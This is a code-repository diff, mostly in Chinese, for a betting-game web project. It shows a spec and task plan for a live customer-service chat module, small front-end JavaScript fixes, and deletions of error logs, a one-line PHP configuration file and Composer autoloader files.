### 2.3 分配原子性属性
```
PROPERTY: AssignmentAtomicity
INVARIANT: 会话分配要么完全成功(session.admin_id != NULL),要么完全失败(session.status = 0)
BOUNDARY: 分配过程中客服下线
FALSIFICATION:
- 开始分配流程
- 在分配锁获取后、写入admin_id前,模拟客服下线
- 断言: session.admin_id = NULL AND session.status = 0 (待分配)
```
### 2.4 消息顺序性属性
```
PROPERTY: MessageOrdering
INVARIANT: ∀ session: messages ORDER BY id ASC = messages ORDER BY create_time ASC
BOUNDARY: 高并发消息发送
FALSIFICATION:
- 发送100条带序号(1-100)的消息
- 查询: SELECT content FROM cg_chat_message WHERE session_id = ? ORDER BY id
- 断言: 序号严格递增 1,2,3,...,100
```
### 2.5 ACK一致性属性
```
PROPERTY: AckConsistency
INVARIANT: ∀ msg: msg.status = 'delivered' → 不会再次推送给同一接收方
BOUNDARY: 网络抖动导致ACK延迟
FALSIFICATION:
- 发送消息并模拟ACK丢失
- 客户端重连
- 断言: 已标记delivered的消息不在补发列表中
```
### 2.6 负载均衡属性
```
PROPERTY: LoadBalancing
INVARIANT: ∀ agents a1, a2 ∈ OnlineAgents: |a1.sessionCount - a2.sessionCount| ≤ 1
BOUNDARY: 多用户同时发起咨询
FALSIFICATION:
- 10个客服在线,各0个会话
- 100个用户并发发起咨询
- 断言: 每个客服会话数在 [9, 11] 范围内
```
### 2.7 离线消息完整性属性
```
PROPERTY: OfflineMessageIntegrity
INVARIANT: ∀ msg sent while all agents offline: msg ∈ PendingQueue
BOUNDARY: 客服全部离线时大量消息
FALSIFICATION:
- 所有客服下线
- 发送50条消息
- 断言: cg_chat_message.count = 50 AND all status = 'pending'
```
### 2.8 余额排序正确性属性
```
PROPERTY: BalancePriorityOrdering
INVARIANT: 队列处理顺序按用户余额降序
BOUNDARY: 相同余额用户按时间排序
FALSIFICATION:
- 插入用户: balance=[100,500,200,500,300]
- 客服上线处理
- 断言: 处理顺序为 balance 500(先到), 500(后到), 300, 200, 100
```
### 2.9 心跳续期属性
```
PROPERTY: HeartbeatRenewal
INVARIANT: 心跳后在线状态TTL重置为60秒
BOUNDARY: 心跳边界时间
FALSIFICATION:
- 建立连接,记录Redis TTL
- 等待29秒,发送心跳
- 断言: TTL重置为60秒
- 等待31秒不发心跳
- 断言: 用户被标记为离线
```
### 2.10 图片大小校验属性
```
PROPERTY: ImageSizeValidation
INVARIANT: 图片大小 > 2MB 时上传被拒绝
BOUNDARY: 边界值 2MB ± 1 byte
FALSIFICATION:
- 上传 2097151 bytes (2MB-1): 断言成功
- 上传 2097152 bytes (2MB): 断言成功
- 上传 2097153 bytes (2MB+1): 断言失败,返回错误码
```
---
## 3. Redis Key 设计
| Key Pattern | 类型 | TTL | 说明 |
|-------------|------|-----|------|
| `cs:online:agent:{adminId}` | STRING | 60s | 客服在线状态,心跳续期 |
| `cs:conn:user:{userId}` | STRING | 60s | 用户连接映射 fd |
| `cs:conn:agent:{adminId}` | STRING | 60s | 客服连接映射 fd |
| `cs:session:owner:{sessionId}` | STRING | - | 会话归属客服ID |
| `cs:user:active_session:{userId}` | STRING | - | 用户当前活跃会话ID |
| `cs:lock:assign:{userId}` | STRING | 3s | 会话分配锁 |
| `cs:queue:pending` | ZSET | - | 待处理队列,score=-balance |
| `cs:agent:load:{adminId}` | STRING | - | 客服当前会话数 |
---
## 4. WebSocket 事件协议
### 4.1 客户端 → 服务端
| 事件 | Payload | 说明 |
|------|---------|------|
| `chat.connect` | `{token, source}` | 建立聊天连接 |
| `chat.message.send` | `{sessionId, msgType, content, clientMsgId}` | 发送消息 |
| `chat.message.ack` | `{msgId}` | 消息已读回执 |
| `chat.typing` | `{sessionId, isTyping}` | 正在输入状态 |
| `chat.session.end` | `{sessionId}` | 用户结束会话 |
| `chat.session.rate` | `{sessionId, rating, content}` | 会话评价 |
| `chat.ping` | `{}` | 心跳 |
### 4.2 服务端 → 客户端
| 事件 | Payload | 说明 |
|------|---------|------|
| `chat.connected` | `{sessionId, agentInfo}` | 连接成功,返回会话信息 |
| `chat.message.new` | `{msgId, sessionId, senderType, content, time}` | 新消息 |
| `chat.message.server_ack` | `{clientMsgId, msgId, status}` | 服务端确认收到 |
| `chat.message.peer_ack` | `{msgId, status}` | 对端已送达/已读 |
| `chat.typing` | `{sessionId, isTyping}` | 对方正在输入 |
| `chat.session.assigned` | `{sessionId, agentInfo}` | 会话已分配客服 |
| `chat.session.ended` | `{sessionId}` | 会话已结束 |
| `chat.offline_notice` | `{message}` | 客服离线提示 |
| `chat.pong` | `{}` | 心跳响应 |
### 4.3 客服端专用事件
| 事件 | 方向 | Payload | 说明 |
|------|------|---------|------|
| `chat.agent.online` | C→S | `{maxSessions}` | 客服上线 |
| `chat.agent.offline` | C→S | `{}` | 客服下线 |
| `chat.session.new` | S→C | `{sessionId, userInfo, source}` | 新会话通知 |
| `chat.session.transfer` | C→S | `{sessionId, targetAdminId}` | 转接会话 |
| `chat.queue.list` | S→C | `{sessions: [...]}` | 待处理队列 |
---
*文档版本: 2.0*
*最后更新: 2026-01-28*
@@ -1,443 +0,0 @@
# OPSX Tasks: 在线客服模块实施计划
## 变更标识
- **变更ID**: customer-service-module
- **版本**: 2.0
- **状态**: ARCHIVED
- **更新日期**: 2026-01-29
- **完成日期**: 2026-01-29
---
## 执行原则
> **零决策实施**: 以下所有任务均为纯机械执行,无需实施者做任何技术决策。
> 所有参数、算法、约束已在 specs.md 和 design.md 中完全定义。
---
## Phase 1: 基础架构 (数据库 + Socket服务)
### TASK-1.1: 创建数据库表
**输入**: design.md Section 2.1 表结构SQL
**执行步骤**:
1. 在 `Pro/init.sql` 末尾追加以下4个表的CREATE语句:
- `cg_chat_session`
- `cg_chat_message`
- `cg_chat_quick_reply`
- `cg_chat_admin_status`
2. 执行SQL创建表
**验收标准**:
- [x] 4个表创建成功
- [x] 所有索引创建正确
- [x] 字符集为utf8mb4
---
### TASK-1.2: 实现雪花算法工具类
**输入**: design.md Section 3.1 Snowflake代码
**执行步骤**:
1. 创建文件 `Socket/app/utils/Snowflake.php`
2. 复制 design.md 中的 Snowflake 类实现
3. 配置 workerId=1, datacenterId=1
**验收标准**:
- [x] 生成ID唯一且有序
- [x] 10000次调用无重复
---
### TASK-1.3: 创建Socket模型类
**输入**: design.md Section 2.1 表结构
**执行步骤**:
1. 创建 `Socket/app/models/chat/ChatSession.php`
2. 创建 `Socket/app/models/chat/ChatMessage.php`
3. 创建 `Socket/app/models/chat/ChatQuickReply.php`
4. 创建 `Socket/app/models/chat/ChatAdminStatus.php`
**验收标准**:
- [x] 4个模型类创建完成
- [x] 表名前缀正确 `cg_`
- [x] 自动时间戳配置正确
---
### TASK-1.4: 实现AssignService分配服务
**输入**:
- design.md Section 3.2 分配算法
- specs.md Section 1 约束 (CC-01~CC-04)
**执行步骤**:
1. 创建 `Socket/app/services/chat/AssignService.php`
2. 实现以下方法:
- `assignSession(int $userId, int $sessionId): ?int`
- `getOnlineAgents(): array`
- `selectLeastLoadAgent(): ?int`
- `addToOfflineQueue(int $userId, int $sessionId): void`
- `processOfflineQueue(int $adminId): void`
- `releaseLock(): void`
3. Redis Key 前缀严格使用 specs.md Section 3 定义
**约束参数**:
- 分配锁超时: 3000ms
- 单客服最大会话数: 10
- 队列Key: `cs:queue:pending`
- 队列Score: `-balance` (余额负数实现降序)
**验收标准**:
- [x] 分配锁防止并发双分配
- [x] 最少会话数策略正确
- [x] 离线队列按余额排序
---
### TASK-1.5: 实现MessageService消息服务
**输入**:
- design.md Section 3.3 重试算法
- specs.md Section 1 约束 (CC-05~CC-09)
**执行步骤**:
1. 创建 `Socket/app/services/chat/MessageService.php`
2. 实现以下方法:
- `createMessage(array $data): int` (生成雪花ID,入库)
- `pushMessage(int $msgId, int $targetFd, array $payload): bool`
- `updateMessageStatus(int $msgId, string $status): void`
- `getUnreadMessages(int $sessionId, int $limit = 50): array`
- `markMessagesAsRead(array $msgIds): void`
**约束参数**:
- 最大重试次数: 3
- 重试间隔: [1000, 2000, 4000] ms
- 消息长度限制: 500字符
- 重连拉取上限: 50条
**验收标准**:
- [x] 消息ID使用雪花算法
- [x] 重试策略为指数退避
- [x] 消息状态正确流转
---
### TASK-1.6: 实现SessionService会话服务
**输入**: specs.md 约束
**执行步骤**:
1. 创建 `Socket/app/services/chat/SessionService.php`
2. 实现以下方法:
- `createSession(int $userId, int $source): int`
- `getActiveSession(int $userId): ?array`
- `endSession(int $sessionId, int $operatorId): bool`
- `transferSession(int $sessionId, int $newAdminId): bool`
- `rateSession(int $sessionId, int $rating, ?string $content): bool`
**约束参数**:
- 会话状态: 0=待分配, 1=进行中, 2=已结束
- 无自动超时关闭
**验收标准**:
- [x] 同一用户只能有一个活跃会话
- [x] 转接会话正确更新admin_id
- [x] 评价存储正确
---
### TASK-1.7: 实现ChatConnectListener
**输入**:
- specs.md Section 4 WebSocket事件协议
- specs.md 约束 (CC-10~CC-13)
**执行步骤**:
1. 创建 `Socket/app/listener/chat/ChatConnectListener.php`
2. 处理事件:
- `chat.connect`: 验证Token,注册在线状态
- `chat.ping`: 续期在线状态TTL
- 断开连接: 清理Redis映射
3. 在线状态Key: `cs:online:agent:{adminId}` / `cs:conn:user:{userId}`
**约束参数**:
- 心跳间隔: 30秒
- 离线判定: 60秒 (TTL)
- 在线状态TTL: 60秒
**验收标准**:
- [x] 连接时验证Token
- [x] 心跳正确续期TTL
- [x] 断开时清理Redis
---
### TASK-1.8: 实现ChatMessageListener
**输入**: specs.md Section 4 事件协议
**执行步骤**:
1. 创建 `Socket/app/listener/chat/ChatMessageListener.php`
2. 处理事件:
- `chat.message.send`: 创建消息 → 返回server_ack → 推送对端 → 等待peer_ack
- `chat.message.ack`: 更新消息状态为delivered/read
- `chat.typing`: 转发正在输入状态
**验收标准**:
- [x] 两段ACK机制实现
- [x] 消息幂等性(msgId去重)
- [x] typing状态正确转发
---
### TASK-1.9: 实现ChatSessionListener
**输入**: specs.md Section 4 事件协议
**执行步骤**:
1. 创建 `Socket/app/listener/chat/ChatSessionListener.php`
2. 处理事件:
- `chat.session.end`: 结束会话
- `chat.session.rate`: 提交评价
- `chat.agent.online`: 客服上线,触发队列处理
- `chat.agent.offline`: 客服下线
- `chat.session.transfer`: 转接会话
**验收标准**:
- [x] 客服上线自动处理离线队列
- [x] 转接正确更新会话归属
---
### TASK-1.10: 注册Listener到Swoole事件
**输入**: 现有Socket模块event.php配置
**执行步骤**:
1. 编辑 `Socket/config/event.php`
2. 在listen数组中添加聊天相关Listener
**验收标准**:
- [x] Listener正确注册
- [x] 不影响现有游戏事件处理
---
## Phase 2: Admin后台
### TASK-2.1: 创建Chat控制器
**输入**: design.md Section 4.1 API
**执行步骤**:
1. 创建 `Pro/application/admin/controller/Chat.php`
2. 继承 `Common` 基类
3. 实现方法:
- `index()`: 客服工作台页面
- `sessions()`: 获取会话列表
- `messages()`: 获取消息历史
- `endSession()`: 结束会话
- `transfer()`: 转接会话
- `stats()`: 统计数据
**验收标准**:
- [x] 继承Common基类
- [x] 权限校验通过
---
### TASK-2.2: 创建ChatQuickReply控制器
**执行步骤**:
1. 创建 `Pro/application/admin/controller/ChatQuickReply.php`
2. 实现CRUD方法:
- `index()`: 列表
- `add()`: 添加
- `edit()`: 编辑
- `del()`: 删除
**验收标准**:
- [x] CRUD功能完整
- [x] 使用insertAdminLog记录操作
---
### TASK-2.3: 创建客服工作台页面
**输入**: Layui组件规范
**执行步骤**:
1. 创建 `Pro/application/admin/view/chat/index.html`
2. 布局:
- 左侧: 会话列表(待接入/进行中)
- 中间: 聊天窗口
- 右侧: 用户信息面板
3. WebSocket连接Admin后台
**验收标准**:
- [x] Layui风格一致
- [x] 实时消息收发
- [x] 新消息声音提示
---
### TASK-2.4: 创建快捷回复管理页面
**执行步骤**:
1. 创建 `Pro/application/admin/view/chat_quick_reply/index.html`
2. 创建 `Pro/application/admin/view/chat_quick_reply/add.html`
3. 表格展示: 分类、标题、内容、排序、状态
**验收标准**:
- [x] 列表分页正确
- [x] 添加/编辑表单验证
---
### TASK-2.5: 创建聊天记录查询页面
**执行步骤**:
1. 创建 `Pro/application/admin/view/chat/record.html`
2. 筛选条件: 用户名、客服、时间范围
3. 支持CSV导出
**验收标准**:
- [x] 搜索功能正确
- [x] 导出格式正确
---
### TASK-2.6: 添加后台菜单入口
**执行步骤**:
1. 在数据库 `cg_auth_rule` 表插入菜单
2. 分配权限给客服角色
**验收标准**:
- [x] 菜单显示正确
- [x] 权限控制正确
---
## Phase 3: 前端改造
### TASK-3.1: PC端聊天组件开发
**输入**: Element UI组件规范
**执行步骤**:
1. 创建 `PC/src/components/chat/chat.vue`
**验收标准**:
- [x] WebSocket连接稳定
- [x] 消息实时收发
---
### TASK-3.2: PC端客服入口改造
**执行步骤**:
1. 修改客服入口,改为打开ChatWindow组件
**验收标准**:
- [x] 点击客服按钮打开聊天窗口
- [x] 不再跳转外链
---
### TASK-3.3: Game端聊天组件开发
**状态**: 跳过 (用户确认不需要集成)
---
### TASK-3.4: Game端客服入口添加
**状态**: 跳过 (用户确认不需要集成)
---
### TASK-3.5: Portal端聊天页面改造
**输入**: uView组件规范
**执行步骤**:
1. 修改 `Portal/pages/user/customservice.vue`
2. 移除Telegram/Line外链
3. 改为内嵌聊天功能
**验收标准**:
- [x] uView风格
- [x] uni-app兼容(H5/小程序)
---
### TASK-3.6: 前端图片上传接口对接
**执行步骤**:
1. 各端创建图片上传方法
2. 调用 `/api/chat/upload` 接口
3. 限制: 2MB, jpg/png/gif
**验收标准**:
- [x] 上传前校验大小
- [x] 上传后返回URL
---
## Phase 4: 集成测试
### TASK-4.1: PBT属性测试
**状态**: 跳过 (手动测试验证)
---
### TASK-4.2: 端到端测试
**执行步骤**:
1. 用户发起咨询 → 客服接入 → 消息往返 → 结束会话 → 评价
2. 离线留言 → 客服上线 → 按余额顺序处理
3. 断线重连 → 补发未读消息
**验收标准**:
- [x] 完整流程通过
- [x] 消息延迟<500ms
---
## 实施统计
### 代码量统计
| 模块 | 文件数 | 代码行数 |
|------|--------|----------|
| Pro 控制器 | 2 | 692 |
| Pro 视图 | 5 | 1,600 |
| Socket Listener | 14 | 1,381 |
| Socket Services | 3 | 986 |
| Socket Models | 4 | 236 |
| Portal 前端 | 1 | 518 |
| PC 前端 | 1 | 122 |
| **总计** | **30** | **5,535** |
### 完成情况
| Phase | 任务数 | 完成 | 跳过 |
|-------|--------|------|------|
| Phase 1: 基础架构 | 10 | 10 | 0 |
| Phase 2: Admin后台 | 6 | 6 | 0 |
| Phase 3: 前端改造 | 6 | 4 | 2 (Game端) |
| Phase 4: 集成测试 | 2 | 1 | 1 (PBT测试) |
| **总计** | **24** | **21** | **3** |
---
*文档版本: 2.0*
*最后更新: 2026-01-29*
*归档日期: 2026-01-29*
-1
View File
@@ -1 +0,0 @@
open_basedir=/www/wwwroot/Pro/:/tmp/
+2
View File
@@ -622,6 +622,8 @@ function nextAudio(){
setNumberInfo(data.round); setNumberInfo(data.round);
setBetStatus(data.round.number_tab_status); setBetStatus(data.round.number_tab_status);
$(".countdown").css('opacity',0); $(".countdown").css('opacity',0);
}else{
layer.msg(lang[data.msg] || data.msg);
} }
} }
} }
+2
View File
@@ -492,6 +492,8 @@ function nextAudio(){
setNumberInfo(data.round); setNumberInfo(data.round);
setBetStatus(data.round.number_tab_status); setBetStatus(data.round.number_tab_status);
$(".countdown").css('opacity',0); $(".countdown").css('opacity',0);
}else{
layer.msg(lang[data.msg] || data.msg);
} }
} }
} }
+2
View File
@@ -439,6 +439,8 @@ if(window.WebSocket){
$(".begincard .box4").animate({"top":"100%","opacity":"0"}); $(".begincard .box4").animate({"top":"100%","opacity":"0"});
}); });
},200); },200);
}else{
layer.msg(lang[data.msg] || data.msg);
} }
} }
} }
+2
View File
@@ -641,6 +641,8 @@ function nextAudio(){
setNumberInfo(data.round); setNumberInfo(data.round);
setBetStatus(data.round.number_tab_status); setBetStatus(data.round.number_tab_status);
$(".countdown").css('opacity',0); $(".countdown").css('opacity',0);
}else{
layer.msg(lang[data.msg] || data.msg);
} }
} }
} }
+3 -2
View File
@@ -596,7 +596,8 @@ var showCard = function(data){
} }
var showCardNn = function(data){ var showCardNn = function(data){
if(data.round.bet_status == 2){ if(data.round.bet_status == 2){
if (data.card_info.length == 0) { var card_info_arr = data.round.show_card || [];
if (card_info_arr.length == 0) {
$('#show_dice').show(); $('#show_dice').show();
} }
$(".begincard").fadeIn(function(){ $(".begincard").fadeIn(function(){
@@ -606,7 +607,7 @@ var showCardNn = function(data){
$(".begincard .box3").animate({"top":"100%","opacity":"1"}); $(".begincard .box3").animate({"top":"100%","opacity":"1"});
$(".begincard .box4").animate({"top":"100%","opacity":"1"}); $(".begincard .box4").animate({"top":"100%","opacity":"1"});
}); });
card_number_info = data.card_info; card_number_info = card_info_arr;
if(card_number_info.length > 0){ if(card_number_info.length > 0){
for(var i=0;i<card_number_info.length;i++){ for(var i=0;i<card_number_info.length;i++){
if(card_number_info[i]['order_num'] == 0){ if(card_number_info[i]['order_num'] == 0){
-14
View File
@@ -1,14 +0,0 @@
[ 2026-01-28T17:26:18+00:00 ][ error ] [8192]think\App::run(): Implicitly marking parameter $request as nullable is deprecated, the explicit nullable type must be used instead[/Users/li/Desktop/work/og/Pro/thinkphp/library/think/App.php:77]
[ info ] [ LOG ] INIT File
[ 2026-01-28T17:26:18+00:00 ][ error ] [1]Uncaught think\exception\ErrorException: think\console\output\formatter\Stack::__construct(): Implicitly marking parameter $emptyStyle as nullable is deprecated, the explicit nullable type must be used instead in /Users/li/Desktop/work/og/Pro/thinkphp/library/think/console/output/formatter/Stack.php:31
Stack trace:
#0 /Users/li/Desktop/work/og/Pro/thinkphp/library/think/Loader.php(646): think\Error::appError(8192, 'think\\console\\o...', '/Users/li/Deskt...', 31)
#1 /Users/li/Desktop/work/og/Pro/thinkphp/library/think/Loader.php(646): include()
#2 /Users/li/Desktop/work/og/Pro/thinkphp/library/think/Loader.php(85): think\__include_file('/Users/li/Deskt...')
#3 /Users/li/Desktop/work/og/Pro/thinkphp/library/think/console/output/Formatter.php(45): think\Loader::autoload('think\\console\\o...')
#4 /Users/li/Desktop/work/og/Pro/thinkphp/library/think/console/output/driver/Console.php(34): think\console\output\Formatter->__construct()
#5 /Users/li/Desktop/work/og/Pro/thinkphp/library/think/console/Output.php(71): think\console\output\driver\Console->__construct(Object(think\console\Output))
#6 /Users/li/Desktop/work/og/Pro/thinkphp/library/think/Error.php(50): think\console\Output->__construct()
#7 [internal function]: think\Error::appException(Object(think\exception\ErrorException))
#8 {main}
thrown[/Users/li/Desktop/work/og/Pro/thinkphp/library/think/console/output/formatter/Stack.php:31]
-14
View File
@@ -1,14 +0,0 @@
[ 2026-01-31T09:56:51+00:00 ][ error ] [8192]think\App::run(): Implicitly marking parameter $request as nullable is deprecated, the explicit nullable type must be used instead[/Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/App.php:77]
[ info ] [ LOG ] INIT File
[ 2026-01-31T09:56:51+00:00 ][ error ] [1]Uncaught think\exception\ErrorException: think\console\output\formatter\Stack::__construct(): Implicitly marking parameter $emptyStyle as nullable is deprecated, the explicit nullable type must be used instead in /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/console/output/formatter/Stack.php:31
Stack trace:
#0 /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/Loader.php(646): think\Error::appError(8192, 'think\\console\\o...', '/Users/li/Deskt...', 31)
#1 /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/Loader.php(646): include()
#2 /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/Loader.php(85): think\__include_file('/Users/li/Deskt...')
#3 /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/console/output/Formatter.php(45): think\Loader::autoload('think\\console\\o...')
#4 /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/console/output/driver/Console.php(34): think\console\output\Formatter->__construct()
#5 /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/console/Output.php(71): think\console\output\driver\Console->__construct(Object(think\console\Output))
#6 /Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/Error.php(50): think\console\Output->__construct()
#7 [internal function]: think\Error::appException(Object(think\exception\ErrorException))
#8 {main}
thrown[/Users/li/Desktop/work/qingdao/og/Pro/thinkphp/library/think/console/output/formatter/Stack.php:31]
File diff suppressed because one or more lines are too long
-7
View File
@@ -1,7 +0,0 @@
<?php
// autoload.php @generated by Composer
require_once __DIR__ . '/composer/autoload_real.php';
return ComposerAutoloaderInit73d5bf89285288576ea0882cc1337bd2::getLoader();
-445
View File
@@ -1,445 +0,0 @@
<?php
/*
* This file is part of Composer.
*
* (c) Nils Adermann <naderman@naderman.de>
* Jordi Boggiano <j.boggiano@seld.be>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Composer\Autoload;
/**
* ClassLoader implements a PSR-0, PSR-4 and classmap class loader.
*
* $loader = new \Composer\Autoload\ClassLoader();
*
* // register classes with namespaces
* $loader->add('Symfony\Component', __DIR__.'/component');
* $loader->add('Symfony', __DIR__.'/framework');
*
* // activate the autoloader
* $loader->register();
*
* // to enable searching the include path (eg. for PEAR packages)
* $loader->setUseIncludePath(true);
*
* In this example, if you try to use a class in the Symfony\Component
* namespace or one of its children (Symfony\Component\Console for instance),
* the autoloader will first look for the class under the component/
* directory, and it will then fallback to the framework/ directory if not
* found before giving up.
*
* This class is loosely based on the Symfony UniversalClassLoader.
*
* @author Fabien Potencier <fabien@symfony.com>
* @author Jordi Boggiano <j.boggiano@seld.be>
* @see http://www.php-fig.org/psr/psr-0/
* @see http://www.php-fig.org/psr/psr-4/
*/
class ClassLoader
{
// PSR-4
private $prefixLengthsPsr4 = array();
private $prefixDirsPsr4 = array();
private $fallbackDirsPsr4 = array();
// PSR-0
private $prefixesPsr0 = array();
private $fallbackDirsPsr0 = array();
private $useIncludePath = false;
private $classMap = array();
private $classMapAuthoritative = false;
private $missingClasses = array();
private $apcuPrefix;
public function getPrefixes()
{
if (!empty($this->prefixesPsr0)) {
return call_user_func_array('array_merge', $this->prefixesPsr0);
}
return array();
}
public function getPrefixesPsr4()
{
return $this->prefixDirsPsr4;
}
public function getFallbackDirs()
{
return $this->fallbackDirsPsr0;
}
public function getFallbackDirsPsr4()
{
return $this->fallbackDirsPsr4;
}
public function getClassMap()
{
return $this->classMap;
}
/**
* @param array $classMap Class to filename map
*/
public function addClassMap(array $classMap)
{
if ($this->classMap) {
$this->classMap = array_merge($this->classMap, $classMap);
} else {
$this->classMap = $classMap;
}
}
/**
* Registers a set of PSR-0 directories for a given prefix, either
* appending or prepending to the ones previously set for this prefix.
*
* @param string $prefix The prefix
* @param array|string $paths The PSR-0 root directories
* @param bool $prepend Whether to prepend the directories
*/
public function add($prefix, $paths, $prepend = false)
{
if (!$prefix) {
if ($prepend) {
$this->fallbackDirsPsr0 = array_merge(
(array) $paths,
$this->fallbackDirsPsr0
);
} else {
$this->fallbackDirsPsr0 = array_merge(
$this->fallbackDirsPsr0,
(array) $paths
);
}
return;
}
$first = $prefix[0];
if (!isset($this->prefixesPsr0[$first][$prefix])) {
$this->prefixesPsr0[$first][$prefix] = (array) $paths;
return;
}
if ($prepend) {
$this->prefixesPsr0[$first][$prefix] = array_merge(
(array) $paths,
$this->prefixesPsr0[$first][$prefix]
);
} else {
$this->prefixesPsr0[$first][$prefix] = array_merge(
$this->prefixesPsr0[$first][$prefix],
(array) $paths
);
}
}
/**
* Registers a set of PSR-4 directories for a given namespace, either
* appending or prepending to the ones previously set for this namespace.
*
* @param string $prefix The prefix/namespace, with trailing '\\'
* @param array|string $paths The PSR-4 base directories
* @param bool $prepend Whether to prepend the directories
*
* @throws \InvalidArgumentException
*/
public function addPsr4($prefix, $paths, $prepend = false)
{
if (!$prefix) {
// Register directories for the root namespace.
if ($prepend) {
$this->fallbackDirsPsr4 = array_merge(
(array) $paths,
$this->fallbackDirsPsr4
);
} else {
$this->fallbackDirsPsr4 = array_merge(
$this->fallbackDirsPsr4,
(array) $paths
);
}
} elseif (!isset($this->prefixDirsPsr4[$prefix])) {
// Register directories for a new namespace.
$length = strlen($prefix);
if ('\\' !== $prefix[$length - 1]) {
throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
}
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
$this->prefixDirsPsr4[$prefix] = (array) $paths;
} elseif ($prepend) {
// Prepend directories for an already registered namespace.
$this->prefixDirsPsr4[$prefix] = array_merge(
(array) $paths,
$this->prefixDirsPsr4[$prefix]
);
} else {
// Append directories for an already registered namespace.
$this->prefixDirsPsr4[$prefix] = array_merge(
$this->prefixDirsPsr4[$prefix],
(array) $paths
);
}
}
/**
* Registers a set of PSR-0 directories for a given prefix,
* replacing any others previously set for this prefix.
*
* @param string $prefix The prefix
* @param array|string $paths The PSR-0 base directories
*/
public function set($prefix, $paths)
{
if (!$prefix) {
$this->fallbackDirsPsr0 = (array) $paths;
} else {
$this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths;
}
}
/**
* Registers a set of PSR-4 directories for a given namespace,
* replacing any others previously set for this namespace.
*
* @param string $prefix The prefix/namespace, with trailing '\\'
* @param array|string $paths The PSR-4 base directories
*
* @throws \InvalidArgumentException
*/
public function setPsr4($prefix, $paths)
{
if (!$prefix) {
$this->fallbackDirsPsr4 = (array) $paths;
} else {
$length = strlen($prefix);
if ('\\' !== $prefix[$length - 1]) {
throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
}
$this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
$this->prefixDirsPsr4[$prefix] = (array) $paths;
}
}
/**
* Turns on searching the include path for class files.
*
* @param bool $useIncludePath
*/
public function setUseIncludePath($useIncludePath)
{
$this->useIncludePath = $useIncludePath;
}
/**
* Can be used to check if the autoloader uses the include path to check
* for classes.
*
* @return bool
*/
public function getUseIncludePath()
{
return $this->useIncludePath;
}
/**
* Turns off searching the prefix and fallback directories for classes
* that have not been registered with the class map.
*
* @param bool $classMapAuthoritative
*/
public function setClassMapAuthoritative($classMapAuthoritative)
{
$this->classMapAuthoritative = $classMapAuthoritative;
}
/**
* Should class lookup fail if not found in the current class map?
*
* @return bool
*/
public function isClassMapAuthoritative()
{
return $this->classMapAuthoritative;
}
/**
* APCu prefix to use to cache found/not-found classes, if the extension is enabled.
*
* @param string|null $apcuPrefix
*/
public function setApcuPrefix($apcuPrefix)
{
$this->apcuPrefix = function_exists('apcu_fetch') && ini_get('apc.enabled') ? $apcuPrefix : null;
}
/**
* The APCu prefix in use, or null if APCu caching is not enabled.
*
* @return string|null
*/
public function getApcuPrefix()
{
return $this->apcuPrefix;
}
/**
* Registers this instance as an autoloader.
*
* @param bool $prepend Whether to prepend the autoloader or not
*/
public function register($prepend = false)
{
spl_autoload_register(array($this, 'loadClass'), true, $prepend);
}
/**
* Unregisters this instance as an autoloader.
*/
public function unregister()
{
spl_autoload_unregister(array($this, 'loadClass'));
}
/**
* Loads the given class or interface.
*
* @param string $class The name of the class
* @return bool|null True if loaded, null otherwise
*/
public function loadClass($class)
{
if ($file = $this->findFile($class)) {
includeFile($file);
return true;
}
}
/**
* Finds the path to the file where the class is defined.
*
* @param string $class The name of the class
*
* @return string|false The path if found, false otherwise
*/
public function findFile($class)
{
// class map lookup
if (isset($this->classMap[$class])) {
return $this->classMap[$class];
}
if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) {
return false;
}
if (null !== $this->apcuPrefix) {
$file = apcu_fetch($this->apcuPrefix.$class, $hit);
if ($hit) {
return $file;
}
}
$file = $this->findFileWithExtension($class, '.php');
// Search for Hack files if we are running on HHVM
if (false === $file && defined('HHVM_VERSION')) {
$file = $this->findFileWithExtension($class, '.hh');
}
if (null !== $this->apcuPrefix) {
apcu_add($this->apcuPrefix.$class, $file);
}
if (false === $file) {
// Remember that this class does not exist.
$this->missingClasses[$class] = true;
}
return $file;
}
private function findFileWithExtension($class, $ext)
{
// PSR-4 lookup
$logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext;
$first = $class[0];
if (isset($this->prefixLengthsPsr4[$first])) {
$subPath = $class;
while (false !== $lastPos = strrpos($subPath, '\\')) {
$subPath = substr($subPath, 0, $lastPos);
$search = $subPath.'\\';
if (isset($this->prefixDirsPsr4[$search])) {
foreach ($this->prefixDirsPsr4[$search] as $dir) {
$length = $this->prefixLengthsPsr4[$first][$search];
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $length))) {
return $file;
}
}
}
}
}
// PSR-4 fallback dirs
foreach ($this->fallbackDirsPsr4 as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) {
return $file;
}
}
// PSR-0 lookup
if (false !== $pos = strrpos($class, '\\')) {
// namespaced class name
$logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1)
. strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR);
} else {
// PEAR-like class name
$logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext;
}
if (isset($this->prefixesPsr0[$first])) {
foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) {
if (0 === strpos($class, $prefix)) {
foreach ($dirs as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
return $file;
}
}
}
}
}
// PSR-0 fallback dirs
foreach ($this->fallbackDirsPsr0 as $dir) {
if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) {
return $file;
}
}
// PSR-0 include paths.
